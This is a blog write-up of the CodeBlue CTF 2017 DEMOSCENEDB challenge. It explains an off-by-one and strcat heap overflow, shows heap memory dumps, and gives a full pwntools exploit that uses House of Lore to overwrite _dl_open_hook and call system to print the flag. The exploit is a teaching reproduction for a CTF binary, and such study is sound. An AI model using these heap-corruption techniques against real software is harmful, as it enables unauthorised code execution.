CODEBLUE CTF 2017 DEMOSCENEDB Write-up (House of Lore)

Introduction

I take a weekend to view the write-up given by 217 [1]. I think their solution is so amazing, which is based on House of Lore. Therefore, I decide to write a new write-up on DEMOSCENEDB in CodeBlue CTF 2017 and demonstrate the usage of House of Lore again.
According to the post of challenge author [2], this challenge is supposed to be solved via House of Mind. However, 217 gave a solution on House of Lore and include many exploitation tricks, e.g. dl_open. In this post I will just mention about the tricks given above and give detailed tutorials later.
The exploit given in this post is completely based on the exploit of 217. The main work of this post is to rewrite the exploit in python with some debugging info and provide more details about the exploitation procedure.

So fucking interesting is heap exploitation.

Vulnerability Analysis

For the work flow of the challenge, please refer to [1]. In my previous write-up, I give that the vulnerable code exists in copy_animation function as below:

used_size = size_from&~LUMP_BIT;
if (size_to < used_size) {
    used_size = size_to;
}
memmove(animations[to]->scenes, animations[from]->scenes, used_size);

Based on this, I say that there exists an off-by-one error if size of to animation is less than from and to animation is lump at the same time. Based on this observation, I say that we can use House-of-Mind to launch attack.

However, if we take a deep look at the source code of copy_animation function, we can find that there exists another vulnerable code as below, which is used in the write-up of 217.

for (i=0; i<lim; i++) {
    if (size_to & LUMP_BIT) {
        strcat((char*)animations[to]->scenes, animations[from]->scenes[i]);
    } else {
        strcpy(animations[to]->scenes[i], animations[from]->scenes[i]);
    }
}

In the situation where each scene of animation is NULL-terminated, there is nothing wrong in the code above. However, with the given off-by-one vulnerability, things are totally different. Since the strcat function will not stop concatenating the source string to the target string until it meets the first terminating character, therefore we can overflow the whole metadata of next adjacent chunk, create overlapping chunk and trigger House of Lore in the end.

Exploit Plan

We need to trigger both vulnerabilities mentioned above.
In the first round, we allocate two lump animations. Then we try to copy the bigger one to the smaller one to trigger the off-by-one vulnerability.

In the second round, things are a little bit tricky. Our final goal here is to overwrite the meta of freed chunk (in unsorted bin) therefore creating overlapping chunk in the end. To achieve this goal, the exploitation has to be divided into two steps: (1) Create the freed chunk and (2) Overwrite metadata of next adjacent freed chunk.
In the solution given by 217, they trigger the second vulnerability to corrupt the size of top chunk once. Trigger allocation once and put the corrupted top chunk to unsortedbin. Then trigger the second vulnerability again to create overlapping chunk. To trigger the second vulnerability, we need to copy a non-lump animation to a lump animation.

Before corrupting the metadata of freed chunk:

0x1c69400:	0x6363636363636363	0x0000000000001be1
0x1c69410:	0x00007f94d3f31b78	0x00007f94d3f31b78
0x1c69420:	0x0000000000000000	0x0000000000000000

0x7f94d3f31b20:	0x0000000100000000	0x0000000000000000
0x7f94d3f31b30:	0x0000000000000000	0x0000000000000000
0x7f94d3f31b40:	0x0000000000000000	0x0000000000000000
0x7f94d3f31b50:	0x0000000000000000	0x0000000000000000
0x7f94d3f31b60:	0x0000000000000000	0x0000000000000000
0x7f94d3f31b70:	0x0000000000000000	0x0000000001c72500
0x7f94d3f31b80:	0x0000000000000000	0x0000000001c69400
0x7f94d3f31b90:	0x0000000001c69400	0x00007f94d3f31b88
0x7f94d3f31ba0:	0x00007f94d3f31b88	0x00007f94d3f31b98

After corrupting the metadata of freed chunk:

0x1c69400:	0x6363636363636363	0x0000000000003d01
0x1c69410:	0x00007f94d3f31b78	0x00007f94d3f31b78
0x1c69420:	0x0000000000000000	0x0000000000000000

0x7f94d3f31b20:	0x0000000100000000	0x0000000000000000
0x7f94d3f31b30:	0x0000000000000000	0x0000000000000000
0x7f94d3f31b40:	0x0000000000000000	0x0000000000000000
0x7f94d3f31b50:	0x0000000000000000	0x0000000000000000
0x7f94d3f31b60:	0x0000000000000000	0x0000000000000000
0x7f94d3f31b70:	0x0000000000000000	0x0000000001c72500
0x7f94d3f31b80:	0x0000000000000000	0x0000000001c69400
0x7f94d3f31b90:	0x0000000001c69400	0x00007f94d3f31b88
0x7f94d3f31ba0:	0x00007f94d3f31b88	0x00007f94d3f31b98

At this point let’s view the global animation list:

0x604060:	0x00007ffde3215d20	0x0000000001c4b010
0x604070:	0x0000000001c68010	0x0000000001c68210
0x604080:	0x0000000001c68510	0x0000000001c68710
0x604090:	0x0000000001c68910	0x0000000001c68b10
0x6040a0:	0x0000000001c68e10	0x0000000001c69110
0x6040b0:	0x0000000001c6c010	

We can find that the freed chunk at 0x1c69400, whose size is 0x3d00 at present, is overlapping over the victim chunk located at 0x1c6c010 (0x1c69400+0x3d00 = 0x1c6d100).

The next step is to allocate a chunk of size 0x2d00. This steps will result in two important results: (1) creating a fake chunk at 0x1c6c100 in the victim chunk; (2) put the remaining chunk in largebin. (Please note that the freed chunk is located in largebin, in my exploit I follow the naming rule as 217)

0x604060:	0x00007ffde3215d20	0x0000000001c4b010
0x604070:	0x0000000001c68010	0x0000000001c68210
0x604080:	0x0000000001c68510	0x0000000001c68710
0x604090:	0x0000000001c68910	0x0000000001c68b10
0x6040a0:	0x0000000001c68e10	0x0000000001c69110
0x6040b0:	0x0000000001c6c010	0x0000000001c69410

0x1c6c100:	0x0000000000010101	0x0000000000001001
0x1c6c110:	0x00007f94d3f32198	0x00007f94d3f32198
0x1c6c120:	0x0000000001c6c100	0x0000000001c6c100

0x7f94d3f321a0:	0x00007f94d3f32188	0x0000000001c6c100
0x7f94d3f321b0:	0x0000000001c6c100	0x00007f94d3f321a8
0x7f94d3f321c0:	0x00007f94d3f321a8	0x00007f94d3f321b8

After this, the following exploitation is the same as routine House of Lore exploitation.

The final step is to overwrite _dl_open_hook and print the content of flag to console. For more details in this step, please refer to my tutorial on _DL_OPEN.

Exploit

First of all, we leak the memory layout as below and obtain the base address of libc.
20180120001.png

Then we run the exploit below and get the following output:
20180120002

from pwn import *

import sys
import os

DEBUG = int(sys.argv[1]);
serverID = sys.argv[2];
#kill previous session
os.system("ps aux > log");
fd = open("log", 'r');
lines = fd.readlines();

pid = "";

for line in lines:
    if(("demo" in line) and (serverID not in line)):
        pid = line.split()[1];
        log.info(pid);
        os.system("kill -9 %s" % pid);
        break;

r = remote("localhost", 11451);

#attach to new session
os.system("ps aux > log");
fd = open("log", 'r');
lines = fd.readlines();

pid = "";

for line in lines:
    if(("demo" in line) and (serverID not in line)):
        pid = line.split()[1];
        log.info(pid);
        break;

count = 0;

if(DEBUG == 2):
    gdb.attach(int(pid), '''source ./script.py''');

def halt():
    while(True):
        log.info(r.recvline());

def createAnimationLump(num, desc, content):
    global count;
    r.recvuntil(">");
    r.sendline("1");
    r.recvuntil("How many scenes does your animation use?:");
    r.sendline(str(num));
    r.recvuntil("Do you want to use the region as one scene?[Y/n]:");
    r.sendline("Y");
    r.sendline(desc);
    r.sendline(content);
    count = count + 1;
    return count

def createAnimationSlice(num, desc, content):
    global count;
    r.recvuntil(">");
    r.sendline("1");
    r.recvuntil("How many scenes does your animation use?:");
    r.sendline(str(num));
    r.recvuntil("Do you want to use the region as one scene?[Y/n]:");
    r.sendline("N");
    r.sendline(desc);
    for i in range(0, num):
        r.sendline(content);

    count = count + 1;
    return count;

def editDesc(index, desc):
    r.recvuntil(">");
    r.sendline("2");
    r.recvuntil("Which description do you want to edit?:");
    r.sendline(str(index));
    r.sendline(desc);

def editSceneLump(index, content):
    r.recvuntil(">");
    r.sendline("3");
    r.recvuntil("Which scenes do you want to edit?:");
    r.sendline(str(index));
    r.sendline(content);

def editSceneSlice(index, num, content):
    r.recvuntil(">");
    r.sendline("3");
    r.recvuntil("Which scenes do you want to edit?:");
    r.sendline(str(index));
    for i in range(0, num):
        r.send(content);

def showAnimation():
    r.recvuntil(">");
    r.sendline("4");

def copyAnimation(src, dst):
    r.recvuntil(">");
    r.sendline("5");
    r.recvuntil("Which animation do you want to copy?: ");
    r.sendline(str(src));
    r.recvuntil("Dest: ");
    r.sendline(str(dst));

def combineAnimation(idx1, idx2, desc):
    r.recvuntil(">");
    r.sendline("6");
    r.recvuntil("Which animations do you want to combine?: ");
    r.sendline(str(idx1));
    r.sendline(str(idx2));
    r.sendline(desc);

def editSceneValue64(index, value, offset):
    editSceneLump(index, "A"*(offset+7));
    editSceneLump(index, "A"*(offset+6));
    editSceneLump(index, "A"*(offset+5));
    editSceneLump(index, "A"*(offset+4));
    editSceneLump(index, "A"*(offset+3));
    editSceneLump(index, "A"*(offset+2));
    editSceneLump(index, "A"*(offset+1));
    editSceneLump(index, "A"*offset + value);

def quit():
    r.recvuntil(">");
    r.sendline("7");

def leak():
    a1 = createAnimationLump(2, "A"*0x20, "A"*0x1ff);
    a2 = createAnimationLump(1, "A"*0x20, "C"*0xff);
    a3 = createAnimationLump(1, "A"*0x20, "D"*0xff);
    copyAnimation(a1, a2);
    quit();
    halt();

def exploit():
    global count;
    libcBase = 0x7f94d3b6d000;
    libc = ELF("./libc.so.6");
    heapBase = 0x1c4b000;
    dl_open = createAnimationLump(0x1d0-1, '\n', '\n');
    v1 = createAnimationLump(1, "AAAA", "a"*0xff);
    v2 = createAnimationLump(2, "BBBB", "b"*0x1ff);
    v3 = createAnimationSlice(1, "CCCC", "\n");
    c129_1 = createAnimationSlice(1, "c129", 'c'*127 + p16(0x1c01));
    log.info("C129_1: %d" % c129_1);
    c129_2 = createAnimationSlice(1, "c129", 'c'*127 + p16(0x3d01));
    log.info("C129_2: %d" % c129_2);

    copyAnimation(v2, v1);
    copyAnimation(v1, v3);

    combineAnimation(v3, c129_1, "c129_1");
    big1 = count + 1;
    log.info("big1: %d" % big1);
    count = count + 1;
    
    combineAnimation(v3, c129_2, "c129_2");
    big2 = count + 1;
    log.info("big2: %d" % big2);
    count = count + 1;

    f = createAnimationLump(2, "small", '\n');
    log.info("f: %d" % f);
    copyAnimation(big1, f);

    victim = createAnimationLump(100, "CCCCCC", "A"*(8 + 16 * 255) + p32(0x3d10) );
    log.info("victim: %d" % victim);

    editSceneLump(victim, "A"*(8+16*255) + '\x00');

    copyAnimation(big2, f);
    
    trigger = createAnimationLump(0x2c, "trigger", 'A' * (0x2c * 256 - 8) + p32(0x10101) );
    log.info("trigger: %d" % trigger);

    dummy1 = createAnimationLump(12, "dummy", "HEHE");
    
    add_al_ret = libcBase + 0x2da69;
    systemAbsAddr = libcBase + libc.symbols['system'];
    log.info("add_al_ret: 0x%x" % add_al_ret);
    log.info("system abs address: 0x%x" % systemAbsAddr);
    payload = p64(add_al_ret) + p64(systemAbsAddr) + "cat   flag >&2\x00";
    editSceneValue64(dl_open, "cat flag >&2", 0x10);
    editSceneValue64(dl_open, p64(systemAbsAddr), 0x8);
    editSceneValue64(dl_open, p64(add_al_ret), 0);

    target = heapBase + 0x1d000 + 0x100 * 19 + 0x2d00 + 0x100;
    log.info("target value: 0x%x" % target);
    small300 = libcBase + 0x3c4e68;


    editSceneValue64(victim, p64(target+0x10), 0xd10);
    editSceneValue64(victim, p64(small300), 0xd08);
    editSceneValue64(victim, p64(0x301), 0xd00);
    editSceneLump(victim, "A"*0xd00);
    editSceneLump(victim, p64(0)*0xcf8);

    editSceneLump(victim, p64(0)*0x20);
    editSceneValue64(victim, p64(target + 0xd01), 0x18);
    editSceneLump(victim, "A"*0x18 );


    fake = createAnimationLump(2, "a"*0x10 + p64(0x6040c0-0x10), "start to corrupt global list" );
    log.info("fake: %d" % fake);

    editSceneValue64(victim, p64(0x6040c0-0x10), 0x20);
    editSceneValue64(victim, p64(0x6040c0-0x18), 0x18);
    editSceneValue64(victim, p64(0x301), 0x10);

    dummy2 = createAnimationLump(2, "dummy", "corrupt global list");

    dl_open_heap = heapBase + 0x108


    #final allocation
    r.recvuntil(">");
    r.sendline("1");
    r.recvuntil("How many scenes does your animation use?:");
    r.sendline(str(0x44));
    r.recvuntil("Do you want to use the region as one scene?[Y/n]:");
    r.sendline("N");
    r.sendline("final");
    r.sendline("\n" * 0x43 + "\x02" * 0x80 + p64(heapBase + 0x108)[0:4]); 

    final = count + 1;
    r.clean();
    r.sendline("5");
    r.recvuntil("Which animation do you want to copy?: ");
    r.sendline(str(final));
    r.recvuntil("Dest: ");
    r.sendline(str(12));
    log.info("pwn");

    quit()

    halt();

if(DEBUG == 0):
    leak();
elif(DEBUG == 1):
    exploit();
elif(DEBUG == 2):
    exploit();

Conclusion

After reproducing the solution given by 217, I just want to say it’s so fucking interesting of heap exploitation. And I get to know the wrong point in my previous write-up on DEMOSCENEDB and I may need to rewrite the solution I wrote in the previous write-up. Thanks 217 for giving a different solution.

Reference

[1] https://github.com/david942j/ctf-writeups/tree/master/codeblue-2017/demo_scene_db
[2] http://binja.github.io/2017/11/13/Thoughts-on-CODE-BLUE-CTF-write-ups/

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.